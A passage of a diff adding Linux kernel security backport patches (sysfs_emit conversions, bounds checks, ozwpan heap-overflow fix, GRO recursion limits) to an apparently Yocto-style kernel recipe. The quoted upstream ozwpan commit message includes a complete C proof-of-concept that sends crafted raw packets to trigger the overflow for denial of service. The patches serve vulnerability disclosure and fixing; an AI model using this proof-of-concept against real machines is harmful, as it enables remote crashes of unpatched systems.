case ISCSI_PARAM_TCP_TIMESTAMP_STAT: +- len = sprintf(buf, "%u\n", conn->tcp_timestamp_stat); ++ len = sysfs_emit(buf, "%u\n", conn->tcp_timestamp_stat); + break; + case ISCSI_PARAM_TCP_NAGLE_DISABLE: +- len = sprintf(buf, "%u\n", conn->tcp_nagle_disable); ++ len = sysfs_emit(buf, "%u\n", conn->tcp_nagle_disable); + break; + case ISCSI_PARAM_TCP_WSF_DISABLE: +- len = sprintf(buf, "%u\n", conn->tcp_wsf_disable); ++ len = sysfs_emit(buf, "%u\n", conn->tcp_wsf_disable); + break; + case ISCSI_PARAM_TCP_TIMER_SCALE: +- len = sprintf(buf, "%u\n", conn->tcp_timer_scale); ++ len = sysfs_emit(buf, "%u\n", conn->tcp_timer_scale); + break; + case ISCSI_PARAM_TCP_TIMESTAMP_EN: +- len = sprintf(buf, "%u\n", conn->tcp_timestamp_en); ++ len = sysfs_emit(buf, "%u\n", conn->tcp_timestamp_en); + break; + case ISCSI_PARAM_IP_FRAGMENT_DISABLE: +- len = sprintf(buf, "%u\n", conn->fragment_disable); ++ len = sysfs_emit(buf, "%u\n", conn->fragment_disable); + break; + case ISCSI_PARAM_IPV4_TOS: +- len = sprintf(buf, "%u\n", conn->ipv4_tos); ++ len = sysfs_emit(buf, "%u\n", conn->ipv4_tos); + break; + case ISCSI_PARAM_IPV6_TC: +- len = sprintf(buf, "%u\n", conn->ipv6_traffic_class); ++ len = sysfs_emit(buf, "%u\n", conn->ipv6_traffic_class); + break; + case ISCSI_PARAM_IPV6_FLOW_LABEL: +- len = sprintf(buf, "%u\n", conn->ipv6_flow_label); ++ len = sysfs_emit(buf, "%u\n", conn->ipv6_flow_label); + break; + case ISCSI_PARAM_IS_FW_ASSIGNED_IPV6: +- len = sprintf(buf, "%u\n", conn->is_fw_assigned_ipv6); ++ len = sysfs_emit(buf, "%u\n", conn->is_fw_assigned_ipv6); + break; + case ISCSI_PARAM_TCP_XMIT_WSF: +- len = sprintf(buf, "%u\n", conn->tcp_xmit_wsf); ++ len = sysfs_emit(buf, "%u\n", conn->tcp_xmit_wsf); + break; + case ISCSI_PARAM_TCP_RECV_WSF: +- len = sprintf(buf, "%u\n", conn->tcp_recv_wsf); ++ len = sysfs_emit(buf, "%u\n", conn->tcp_recv_wsf); + break; + case ISCSI_PARAM_LOCAL_IPADDR: +- len = sprintf(buf, "%s\n", conn->local_ipaddr); ++ len = sysfs_emit(buf, "%s\n", conn->local_ipaddr); + break; + default: + return -ENOSYS; +@@ -3665,13 +3665,13 @@ + + switch (param) { + case ISCSI_HOST_PARAM_NETDEV_NAME: +- len = sprintf(buf, "%s\n", ihost->netdev); ++ len = sysfs_emit(buf, "%s\n", ihost->netdev); + break; + case ISCSI_HOST_PARAM_HWADDRESS: +- len = sprintf(buf, "%s\n", ihost->hwaddress); ++ len = sysfs_emit(buf, "%s\n", ihost->hwaddress); + break; + case ISCSI_HOST_PARAM_INITIATOR_NAME: +- len = sprintf(buf, "%s\n", ihost->initiatorname); ++ len = sysfs_emit(buf, "%s\n", ihost->initiatorname); + break; + default: + return -ENOSYS; +diff --git a/drivers/scsi/scsi_transport_iscsi.c b/drivers/scsi/scsi_transport_iscsi.c +index f911354..76c2600 100644 +--- a/drivers/scsi/scsi_transport_iscsi.c ++++ b/drivers/scsi/scsi_transport_iscsi.c +@@ -122,7 +122,8 @@ + + if (!capable(CAP_SYS_ADMIN)) + return -EACCES; +- return sprintf(buf, "%llu\n", (unsigned long long)iscsi_handle(priv->iscsi_transport)); ++ return sysfs_emit(buf, "%llu\n", ++ (unsigned long long)iscsi_handle(priv->iscsi_transport)); + } + static DEVICE_ATTR(handle, S_IRUGO, show_transport_handle, NULL); + +@@ -132,7 +133,7 @@ + struct device_attribute *attr,char *buf) \ + { \ + struct iscsi_internal *priv = dev_to_iscsi_internal(dev); \ +- return sprintf(buf, format"\n", priv->iscsi_transport->name); \ ++ return sysfs_emit(buf, format"\n", priv->iscsi_transport->name);\ + } \ + static DEVICE_ATTR(name, S_IRUGO, show_transport_##name, NULL); + +@@ -173,7 +174,7 @@ + show_ep_handle(struct device *dev, struct device_attribute *attr, char *buf) + { + struct iscsi_endpoint *ep = iscsi_dev_to_endpoint(dev); +- return sprintf(buf, "%llu\n", (unsigned long long) ep->id); ++ return sysfs_emit(buf, "%llu\n", (unsigned long long) ep->id); + } + static ISCSI_ATTR(ep, handle, S_IRUGO, show_ep_handle, NULL); + +@@ -2785,6 +2786,9 @@ + struct iscsi_cls_session *session; + int err = 0, value = 0; + ++ if (ev->u.set_param.len > PAGE_SIZE) ++ return -EINVAL; ++ + session = iscsi_session_lookup(ev->u.set_param.sid); + conn = iscsi_conn_lookup(ev->u.set_param.sid, ev->u.set_param.cid); + if (!conn || !session) +@@ -2931,6 +2935,9 @@ + if (!transport->set_host_param) + return -ENOSYS; + ++ if (ev->u.set_host_param.len > PAGE_SIZE) ++ return -EINVAL; ++ + shost = scsi_host_lookup(ev->u.set_host_param.host_no); + if (!shost) { + printk(KERN_ERR "set_host_param could not find host no %u\n", +@@ -4041,7 +4048,7 @@ + char *buf) + { + struct iscsi_cls_session *session = iscsi_dev_to_session(dev->parent); +- return sprintf(buf, "%s\n", iscsi_session_state_name(session->state)); ++ return sysfs_emit(buf, "%s\n", iscsi_session_state_name(session->state)); + } + static ISCSI_CLASS_ATTR(priv_sess, state, S_IRUGO, show_priv_session_state, + NULL); +@@ -4050,7 +4057,7 @@ + char *buf) + { + struct iscsi_cls_session *session = iscsi_dev_to_session(dev->parent); +- return sprintf(buf, "%d\n", session->creator); ++ return sysfs_emit(buf, "%d\n", session->creator); + } + static ISCSI_CLASS_ATTR(priv_sess, creator, S_IRUGO, show_priv_session_creator, + NULL); +@@ -4059,7 +4066,7 @@ + char *buf) + { + struct iscsi_cls_session *session = iscsi_dev_to_session(dev->parent); +- return sprintf(buf, "%d\n", session->target_id); ++ return sysfs_emit(buf, "%d\n", session->target_id); + } + static ISCSI_CLASS_ATTR(priv_sess, target_id, S_IRUGO, + show_priv_session_target_id, NULL); +@@ -4072,8 +4079,8 @@ + struct iscsi_cls_session *session = \ + iscsi_dev_to_session(dev->parent); \ + if (session->field == -1) \ +- return sprintf(buf, "off\n"); \ +- return sprintf(buf, format"\n", session->field); \ ++ return sysfs_emit(buf, "off\n"); \ ++ return sysfs_emit(buf, format"\n", session->field); \ + } + + #define iscsi_priv_session_attr_store(field) \ diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0712.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0712.diff new file mode 100644 index 0000000..00d7242 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0712.diff @@ -0,0 +1,18 @@ +diff --git a/drivers/staging/rtl8188eu/os_dep/ioctl_linux.c b/drivers/staging/rtl8188eu/os_dep/ioctl_linux.c +index 1d66042..c52496b 100644 +--- a/drivers/staging/rtl8188eu/os_dep/ioctl_linux.c ++++ b/drivers/staging/rtl8188eu/os_dep/ioctl_linux.c +@@ -1171,9 +1171,11 @@ + break; + } + sec_len = *(pos++); len -= 1; +- if (sec_len > 0 && sec_len <= len) { ++ if (sec_len > 0 && ++ sec_len <= len && ++ sec_len <= 32) { + ssid[ssid_index].SsidLength = sec_len; +- memcpy(ssid[ssid_index].Ssid, pos, ssid[ssid_index].SsidLength); ++ memcpy(ssid[ssid_index].Ssid, pos, sec_len); + ssid_index++; + } + pos += sec_len; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0713.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0713.diff new file mode 100644 index 0000000..862e58d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0713.diff @@ -0,0 +1,13 @@ +diff --git a/drivers/block/xen-blkback/blkback.c b/drivers/block/xen-blkback/blkback.c +index 710b1e9..c2d3c91 100644 +--- a/drivers/block/xen-blkback/blkback.c ++++ b/drivers/block/xen-blkback/blkback.c +@@ -830,7 +830,7 @@ + out: + for (i = last_map; i < num; i++) { + /* Don't zap current batch's valid persistent grants. */ +- if(i >= last_map + segs_to_map) ++ if(i >= map_until) + pages[i]->persistent_gnt = NULL; + pages[i]->handle = BLKBACK_INVALID_HANDLE; + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0714.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0714.diff new file mode 100644 index 0000000..25befe1 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0714.diff @@ -0,0 +1,14 @@ +diff --git a/fs/btrfs/ctree.c b/fs/btrfs/ctree.c +index 9ee3c68..cee317f 100644 +--- a/fs/btrfs/ctree.c ++++ b/fs/btrfs/ctree.c +@@ -1427,7 +1427,9 @@ + btrfs_warn(root->fs_info, + "failed to read tree block %llu from get_old_root", logical); + } else { ++ btrfs_tree_read_lock(old); + eb = btrfs_clone_extent_buffer(old); ++ btrfs_tree_read_unlock(old); + free_extent_buffer(old); + } + } else if (old_root) { diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0715.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0715.diff new file mode 100644 index 0000000..037c2c6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0715.diff @@ -0,0 +1,36 @@ +diff --git a/drivers/pci/hotplug/rpadlpar_sysfs.c b/drivers/pci/hotplug/rpadlpar_sysfs.c +index a796301..ca9d832 100644 +--- a/drivers/pci/hotplug/rpadlpar_sysfs.c ++++ b/drivers/pci/hotplug/rpadlpar_sysfs.c +@@ -39,12 +39,11 @@ + if (nbytes >= MAX_DRC_NAME_LEN) + return 0; + +- memcpy(drc_name, buf, nbytes); ++ strscpy(drc_name, buf, nbytes + 1); + + end = strchr(drc_name, '\n'); +- if (!end) +- end = &drc_name[nbytes]; +- *end = '\0'; ++ if (end) ++ *end = '\0'; + + rc = dlpar_add_slot(drc_name); + if (rc) +@@ -70,12 +69,11 @@ + if (nbytes >= MAX_DRC_NAME_LEN) + return 0; + +- memcpy(drc_name, buf, nbytes); ++ strscpy(drc_name, buf, nbytes + 1); + + end = strchr(drc_name, '\n'); +- if (!end) +- end = &drc_name[nbytes]; +- *end = '\0'; ++ if (end) ++ *end = '\0'; + + rc = dlpar_remove_slot(drc_name); + if (rc) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0716.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0716.diff new file mode 100644 index 0000000..9c27848 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0716.diff @@ -0,0 +1,55 @@ +diff --git a/drivers/media/v4l2-core/v4l2-ioctl.c b/drivers/media/v4l2-core/v4l2-ioctl.c +index bb2387fc..213d352 100644 +--- a/drivers/media/v4l2-core/v4l2-ioctl.c ++++ b/drivers/media/v4l2-core/v4l2-ioctl.c +@@ -2466,7 +2466,7 @@ + v4l2_kioctl func) + { + char sbuf[128]; +- void *mbuf = NULL; ++ void *mbuf = NULL, *array_buf = NULL; + void *parg = (void *)arg; + long err = -EINVAL; + bool has_array_args; +@@ -2521,20 +2521,14 @@ + has_array_args = err; + + if (has_array_args) { +- /* +- * When adding new types of array args, make sure that the +- * parent argument to ioctl (which contains the pointer to the +- * array) fits into sbuf (so that mbuf will still remain +- * unused up to here). +- */ +- mbuf = kmalloc(array_size, GFP_KERNEL); ++ array_buf = kmalloc(array_size, GFP_KERNEL); + err = -ENOMEM; +- if (NULL == mbuf) ++ if (array_buf == NULL) + goto out_array_args; + err = -EFAULT; +- if (copy_from_user(mbuf, user_ptr, array_size)) ++ if (copy_from_user(array_buf, user_ptr, array_size)) + goto out_array_args; +- *kernel_ptr = mbuf; ++ *kernel_ptr = array_buf; + } + + /* Handles IOCTL */ +@@ -2553,7 +2547,7 @@ + + if (has_array_args) { + *kernel_ptr = (void __force *)user_ptr; +- if (copy_to_user(user_ptr, mbuf, array_size)) ++ if (copy_to_user(user_ptr, array_buf, array_size)) + err = -EFAULT; + goto out_array_args; + } +@@ -2573,6 +2567,7 @@ + } + + out: ++ kfree(array_buf); + kfree(mbuf); + return err; + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0717-39a4e1c2675a-ozwpan Use unsigned ints to prevent heap overflow.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0717-39a4e1c2675a-ozwpan Use unsigned ints to prevent heap overflow.patch new file mode 100644 index 0000000..ddffcae --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0717-39a4e1c2675a-ozwpan Use unsigned ints to prevent heap overflow.patch @@ -0,0 +1,220 @@ +From 39a4e1c2675ab45cec548a99ad770faa769ee27a Mon Sep 17 00:00:00 2001 +From: "Jason A. Donenfeld" +Date: Mon, 29 May 2017 12:36:54 +0530 +Subject: ozwpan: Use unsigned ints to prevent heap overflow + +[ Upstream commit: b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c ] + +Using signed integers, the subtraction between required_size and offset +could wind up being negative, resulting in a memcpy into a heap buffer +with a negative length, resulting in huge amounts of network-supplied +data being copied into the heap, which could potentially lead to remote +code execution.. This is remotely triggerable with a magic packet. +A PoC which obtains DoS follows below. It requires the ozprotocol.h file +from this module. + +=-=-=-=-=-= + +static int hex2num(char c) +{ + if (c >= '0' && c <= '9') + return c - '0'; + if (c >= 'a' && c <= 'f') + return c - 'a' + 10; + if (c >= 'A' && c <= 'F') + return c - 'A' + 10; + return -1; +} +static int hwaddr_aton(const char *txt, uint8_t *addr) +{ + int i; + for (i = 0; i < 6; i++) { + int a, b; + a = hex2num(*txt++); + if (a < 0) + return -1; + b = hex2num(*txt++); + if (b < 0) + return -1; + *addr++ = (a << 4) | b; + if (i < 5 && *txt++ != ':') + return -1; + } + return 0; +} + +int main(int argc, char *argv[]) +{ + if (argc < 3) { + fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); + return 1; + } + + uint8_t dest_mac[6]; + if (hwaddr_aton(argv[2], dest_mac)) { + fprintf(stderr, "Invalid mac address.\n"); + return 1; + } + + int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); + if (sockfd < 0) { + perror("socket"); + return 1; + } + + struct ifreq if_idx; + int interface_index; + strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); + if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { + perror("SIOCGIFINDEX"); + return 1; + } + interface_index = if_idx.ifr_ifindex; + if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { + perror("SIOCGIFHWADDR"); + return 1; + } + uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; + + struct { + struct ether_header ether_header; + struct oz_hdr oz_hdr; + struct oz_elt oz_elt; + struct oz_elt_connect_req oz_elt_connect_req; + } __packed connect_packet = { + .ether_header = { + .ether_type = htons(OZ_ETHERTYPE), + .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, + .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } + }, + .oz_hdr = { + .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), + .last_pkt_num = 0, + .pkt_num = htole32(0) + }, + .oz_elt = { + .type = OZ_ELT_CONNECT_REQ, + .length = sizeof(struct oz_elt_connect_req) + }, + .oz_elt_connect_req = { + .mode = 0, + .resv1 = {0}, + .pd_info = 0, + .session_id = 0, + .presleep = 35, + .ms_isoc_latency = 0, + .host_vendor = 0, + .keep_alive = 0, + .apps = htole16((1 << OZ_APPID_USB) | 0x1), + .max_len_div16 = 0, + .ms_per_isoc = 0, + .up_audio_buf = 0, + .ms_per_elt = 0 + } + }; + + struct { + struct ether_header ether_header; + struct oz_hdr oz_hdr; + struct oz_elt oz_elt; + struct oz_get_desc_rsp oz_get_desc_rsp; + } __packed pwn_packet = { + .ether_header = { + .ether_type = htons(OZ_ETHERTYPE), + .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, + .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } + }, + .oz_hdr = { + .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), + .last_pkt_num = 0, + .pkt_num = htole32(1) + }, + .oz_elt = { + .type = OZ_ELT_APP_DATA, + .length = sizeof(struct oz_get_desc_rsp) + }, + .oz_get_desc_rsp = { + .app_id = OZ_APPID_USB, + .elt_seq_num = 0, + .type = OZ_GET_DESC_RSP, + .req_id = 0, + .offset = htole16(2), + .total_size = htole16(1), + .rcode = 0, + .data = {0} + } + }; + + struct sockaddr_ll socket_address = { + .sll_ifindex = interface_index, + .sll_halen = ETH_ALEN, + .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } + }; + + if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { + perror("sendto"); + return 1; + } + usleep(300000); + if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { + perror("sendto"); + return 1; + } + return 0; +} + +Change-Id: Ibc1a8b7baa06332b2a7fe7135c68faee1bd791d9 +Signed-off-by: Jason A. Donenfeld +Acked-by: Dan Carpenter +Cc: stable +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Akshaya +--- + drivers/staging/ozwpan/ozhcd.c | 8 ++++---- + drivers/staging/ozwpan/ozusbif.h | 4 ++-- + 2 files changed, 6 insertions(+), 6 deletions(-) + +diff --git a/drivers/staging/ozwpan/ozhcd.c b/drivers/staging/ozwpan/ozhcd.c +index e880452..628e4e2 100644 +--- a/drivers/staging/ozwpan/ozhcd.c ++++ b/drivers/staging/ozwpan/ozhcd.c +@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport) + /* + * Context: softirq + */ +-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc, +- int length, int offset, int total_size) ++void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc, ++ u8 length, u16 offset, u16 total_size) + { + struct oz_port *port = (struct oz_port *)hport; + struct urb *urb; +@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc, + if (!urb) + return; + if (status == 0) { +- int copy_len; +- int required_size = urb->transfer_buffer_length; ++ unsigned int copy_len; ++ unsigned int required_size = urb->transfer_buffer_length; + + if (required_size > total_size) + required_size = total_size; +diff --git a/drivers/staging/ozwpan/ozusbif.h b/drivers/staging/ozwpan/ozusbif.h +index 4249fa3..d2a6085 100644 +--- a/drivers/staging/ozwpan/ozusbif.h ++++ b/drivers/staging/ozwpan/ozusbif.h +@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd); + + /* Confirmation functions. + */ +-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, +- const u8 *desc, int length, int offset, int total_size); ++void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, ++ const u8 *desc, u8 length, u16 offset, u16 total_size); + void oz_hcd_control_cnf(void *hport, u8 req_id, u8 rcode, + const u8 *data, int data_len); + +-- +1.9.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0718-ce7dbf611ba9-tunnels Dont apply GRO to multiple layers of encapsulation.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0718-ce7dbf611ba9-tunnels Dont apply GRO to multiple layers of encapsulation.patch new file mode 100644 index 0000000..413847c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0718-ce7dbf611ba9-tunnels Dont apply GRO to multiple layers of encapsulation.patch @@ -0,0 +1,169 @@ +From ce7dbf611ba9db087abc984ba1807771fb0c3545 Mon Sep 17 00:00:00 2001 +From: Jesse Gross +Date: Fri, 26 May 2017 10:43:25 +0530 +Subject: tunnels: Don't apply GRO to multiple layers of encapsulation. + +[ Upstream commit: fac8e0f579695a3ecbc4d3cac369139d7f819971] + +When drivers express support for TSO of encapsulated packets, they +only mean that they can do it for one layer of encapsulation. +Supporting additional levels would mean updating, at a minimum, +more IP length fields and they are unaware of this. + +No encapsulation device expresses support for handling offloaded +encapsulated packets, so we won't generate these types of frames +in the transmit path. However, GRO doesn't have a check for +multiple levels of encapsulation and will attempt to build them. + +UDP tunnel GRO actually does prevent this situation but it only +handles multiple UDP tunnels stacked on top of each other. This +generalizes that solution to prevent any kind of tunnel stacking +that would cause problems. + +Change-Id: I072ec2fec752795bee66cf5464af48f17c837a7f +Signed-off-by: Jesse Gross +Signed-off-by: Akshaya +--- + include/linux/netdevice.h | 4 ++-- + net/core/dev.c | 2 +- + net/ipv4/af_inet.c | 15 ++++++++++++++- + net/ipv4/gre_offload.c | 5 +++++ + net/ipv4/udp_offload.c | 6 +++--- + net/ipv6/ip6_offload.c | 15 ++++++++++++++- + 6 files changed, 39 insertions(+), 8 deletions(-) + +diff --git a/include/linux/netdevice.h b/include/linux/netdevice.h +index 943a8301..173b250 100644 +--- a/include/linux/netdevice.h ++++ b/include/linux/netdevice.h +@@ -1902,8 +1902,8 @@ struct napi_gro_cb { + /* Used in ipv6_gro_receive() and foo-over-udp */ + u16 proto; + +- /* Used in udp_gro_receive */ +- u8 udp_mark:1; ++ /* Used in tunnel GRO receive */ ++ u8 encap_mark:1; + + /* GRO checksum is valid */ + u8 csum_valid:1; +diff --git a/net/core/dev.c b/net/core/dev.c +index 9d41179..99e2387 100644 +--- a/net/core/dev.c ++++ b/net/core/dev.c +@@ -4116,7 +4116,7 @@ static enum gro_result dev_gro_receive(struct napi_struct *napi, struct sk_buff + NAPI_GRO_CB(skb)->same_flow = 0; + NAPI_GRO_CB(skb)->flush = 0; + NAPI_GRO_CB(skb)->free = 0; +- NAPI_GRO_CB(skb)->udp_mark = 0; ++ NAPI_GRO_CB(skb)->encap_mark = 0; + + /* Setup for GRO checksum validation */ + switch (skb->ip_summed) { +diff --git a/net/ipv4/af_inet.c b/net/ipv4/af_inet.c +index b39d5ef..5589a7c 100644 +--- a/net/ipv4/af_inet.c ++++ b/net/ipv4/af_inet.c +@@ -1420,6 +1420,19 @@ out: + return pp; + } + ++static struct sk_buff **ipip_gro_receive(struct sk_buff **head, ++ struct sk_buff *skb) ++{ ++ if (NAPI_GRO_CB(skb)->encap_mark) { ++ NAPI_GRO_CB(skb)->flush = 1; ++ return NULL; ++ } ++ ++ NAPI_GRO_CB(skb)->encap_mark = 1; ++ ++ return inet_gro_receive(head, skb); ++} ++ + int inet_recv_error(struct sock *sk, struct msghdr *msg, int len, int *addr_len) + { + if (sk->sk_family == AF_INET) +@@ -1678,7 +1691,7 @@ static struct packet_offload ip_packet_offload __read_mostly = { + static const struct net_offload ipip_offload = { + .callbacks = { + .gso_segment = inet_gso_segment, +- .gro_receive = inet_gro_receive, ++ .gro_receive = ipip_gro_receive, + .gro_complete = inet_gro_complete, + }, + }; +diff --git a/net/ipv4/gre_offload.c b/net/ipv4/gre_offload.c +index abc50b4..cc7b082 100644 +--- a/net/ipv4/gre_offload.c ++++ b/net/ipv4/gre_offload.c +@@ -128,6 +128,11 @@ static struct sk_buff **gre_gro_receive(struct sk_buff **head, + struct packet_offload *ptype; + __be16 type; + ++ if (NAPI_GRO_CB(skb)->encap_mark) ++ goto out; ++ ++ NAPI_GRO_CB(skb)->encap_mark = 1; ++ + off = skb_gro_offset(skb); + hlen = off + sizeof(*greh); + greh = skb_gro_header_fast(skb, off); +diff --git a/net/ipv4/udp_offload.c b/net/ipv4/udp_offload.c +index 6480cea..e6d05ae 100644 +--- a/net/ipv4/udp_offload.c ++++ b/net/ipv4/udp_offload.c +@@ -266,14 +266,14 @@ struct sk_buff **udp_gro_receive(struct sk_buff **head, struct sk_buff *skb, + unsigned int off = skb_gro_offset(skb); + int flush = 1; + +- if (NAPI_GRO_CB(skb)->udp_mark || ++ if (NAPI_GRO_CB(skb)->encap_mark || + (skb->ip_summed != CHECKSUM_PARTIAL && + NAPI_GRO_CB(skb)->csum_cnt == 0 && + !NAPI_GRO_CB(skb)->csum_valid)) + goto out; + +- /* mark that this skb passed once through the udp gro layer */ +- NAPI_GRO_CB(skb)->udp_mark = 1; ++ /* mark that this skb passed once through the tunnel gro layer */ ++ NAPI_GRO_CB(skb)->encap_mark = 1; + + rcu_read_lock(); + uo_priv = rcu_dereference(udp_offload_base); +diff --git a/net/ipv6/ip6_offload.c b/net/ipv6/ip6_offload.c +index dece5c7..dbc528e 100644 +--- a/net/ipv6/ip6_offload.c ++++ b/net/ipv6/ip6_offload.c +@@ -255,6 +255,19 @@ out: + return pp; + } + ++static struct sk_buff **sit_gro_receive(struct sk_buff **head, ++ struct sk_buff *skb) ++{ ++ if (NAPI_GRO_CB(skb)->encap_mark) { ++ NAPI_GRO_CB(skb)->flush = 1; ++ return NULL; ++ } ++ ++ NAPI_GRO_CB(skb)->encap_mark = 1; ++ ++ return ipv6_gro_receive(head, skb); ++} ++ + static int ipv6_gro_complete(struct sk_buff *skb, int nhoff) + { + const struct net_offload *ops; +@@ -289,7 +302,7 @@ static struct packet_offload ipv6_packet_offload __read_mostly = { + static const struct net_offload sit_offload = { + .callbacks = { + .gso_segment = ipv6_gso_segment, +- .gro_receive = ipv6_gro_receive, ++ .gro_receive = sit_gro_receive, + .gro_complete = ipv6_gro_complete, + }, + }; +-- +1.9.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0719-8a069274d823-net add recursion limit to GRO.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0719-8a069274d823-net add recursion limit to GRO.patch new file mode 100644 index 0000000..a0fb9e8 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0719-8a069274d823-net add recursion limit to GRO.patch @@ -0,0 +1,190 @@ +From 8a069274d823319273dab097e865faa01bee2451 Mon Sep 17 00:00:00 2001 +From: Sabrina Dubroca +Date: Fri, 26 May 2017 15:25:08 +0530 +Subject: net: add recursion limit to GRO +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +[ Backported upstream commit: fcd91dd449867c6bfe56a81cabba76b829fd05cd] +[ Files without GRO support have not been updated ] + +Currently, GRO can do unlimited recursion through the gro_receive +handlers. This was fixed for tunneling protocols by limiting tunnel GRO +to one level with encap_mark, but both VLAN and TEB still have this +problem. Thus, the kernel is vulnerable to a stack overflow, if we +receive a packet composed entirely of VLAN headers. + +This patch adds a recursion counter to the GRO layer to prevent stack +overflow. When a gro_receive function hits the recursion limit, GRO is +aborted for this skb and it is processed normally. This recursion +counter is put in the GRO CB, but could be turned into a percpu counter +if we run out of space in the CB. + +Thanks to Vladimír Beneš for the initial bug report. + +Change-Id: Iec7b958d843c5d8214a36be8187d03f9e86ef079 +Fixes: CVE-2016-7039 +Fixes: 9b174d88c257 ("net: Add Transparent Ethernet Bridging GRO support.") +Fixes: 66e5133f19e9 ("vlan: Add GRO support for non hardware accelerated vlan") +Signed-off-by: Sabrina Dubroca +Reviewed-by: Jiri Benc +Acked-by: Hannes Frederic Sowa +Acked-by: Tom Herbert +Signed-off-by: David S. Miller +Signed-off-by: Akshaya +--- + drivers/net/vxlan.c | 2 +- + include/linux/netdevice.h | 24 ++++++++++++++++++++++++ + net/core/dev.c | 1 + + net/ipv4/af_inet.c | 2 +- + net/ipv4/fou.c | 4 ++-- + net/ipv4/gre_offload.c | 2 +- + net/ipv4/udp_offload.c | 2 +- + net/ipv6/ip6_offload.c | 2 +- + 8 files changed, 32 insertions(+), 7 deletions(-) + +diff --git a/drivers/net/vxlan.c b/drivers/net/vxlan.c +index 59282dd..d7cdfad 100644 +--- a/drivers/net/vxlan.c ++++ b/drivers/net/vxlan.c +@@ -600,7 +600,7 @@ static struct sk_buff **vxlan_gro_receive(struct sk_buff **head, struct sk_buff + + skb_gro_pull(skb, sizeof(*eh)); /* pull inner eth header */ + skb_gro_postpull_rcsum(skb, eh, sizeof(*eh)); +- pp = ptype->callbacks.gro_receive(head, skb); ++ pp = call_gro_receive(ptype->callbacks.gro_receive, head, skb); + + out_unlock: + rcu_read_unlock(); +diff --git a/include/linux/netdevice.h b/include/linux/netdevice.h +index 173b250..cbcd056 100644 +--- a/include/linux/netdevice.h ++++ b/include/linux/netdevice.h +@@ -1914,6 +1914,11 @@ struct napi_gro_cb { + /* Used in foo-over-udp, set in udp[46]_gro_receive */ + u8 is_ipv6:1; + ++ /* Number of gro_receive callbacks this packet already went through */ ++ u8 recursion_counter:4; ++ ++ /* 1 bit hole */ ++ + /* used to support CHECKSUM_COMPLETE for tunneling protocols */ + __wsum csum; + +@@ -1923,6 +1928,25 @@ struct napi_gro_cb { + + #define NAPI_GRO_CB(skb) ((struct napi_gro_cb *)(skb)->cb) + ++#define GRO_RECURSION_LIMIT 15 ++static inline int gro_recursion_inc_test(struct sk_buff *skb) ++{ ++ return ++NAPI_GRO_CB(skb)->recursion_counter == GRO_RECURSION_LIMIT; ++} ++ ++typedef struct sk_buff **(*gro_receive_t)(struct sk_buff **, struct sk_buff *); ++static inline struct sk_buff **call_gro_receive(gro_receive_t cb, ++ struct sk_buff **head, ++ struct sk_buff *skb) ++{ ++ if (unlikely(gro_recursion_inc_test(skb))) { ++ NAPI_GRO_CB(skb)->flush |= 1; ++ return NULL; ++ } ++ ++ return cb(head, skb); ++} ++ + struct packet_type { + __be16 type; /* This is really htons(ether_type). */ + struct net_device *dev; /* NULL is wildcarded here */ +diff --git a/net/core/dev.c b/net/core/dev.c +index 99e2387..836e4f0 100644 +--- 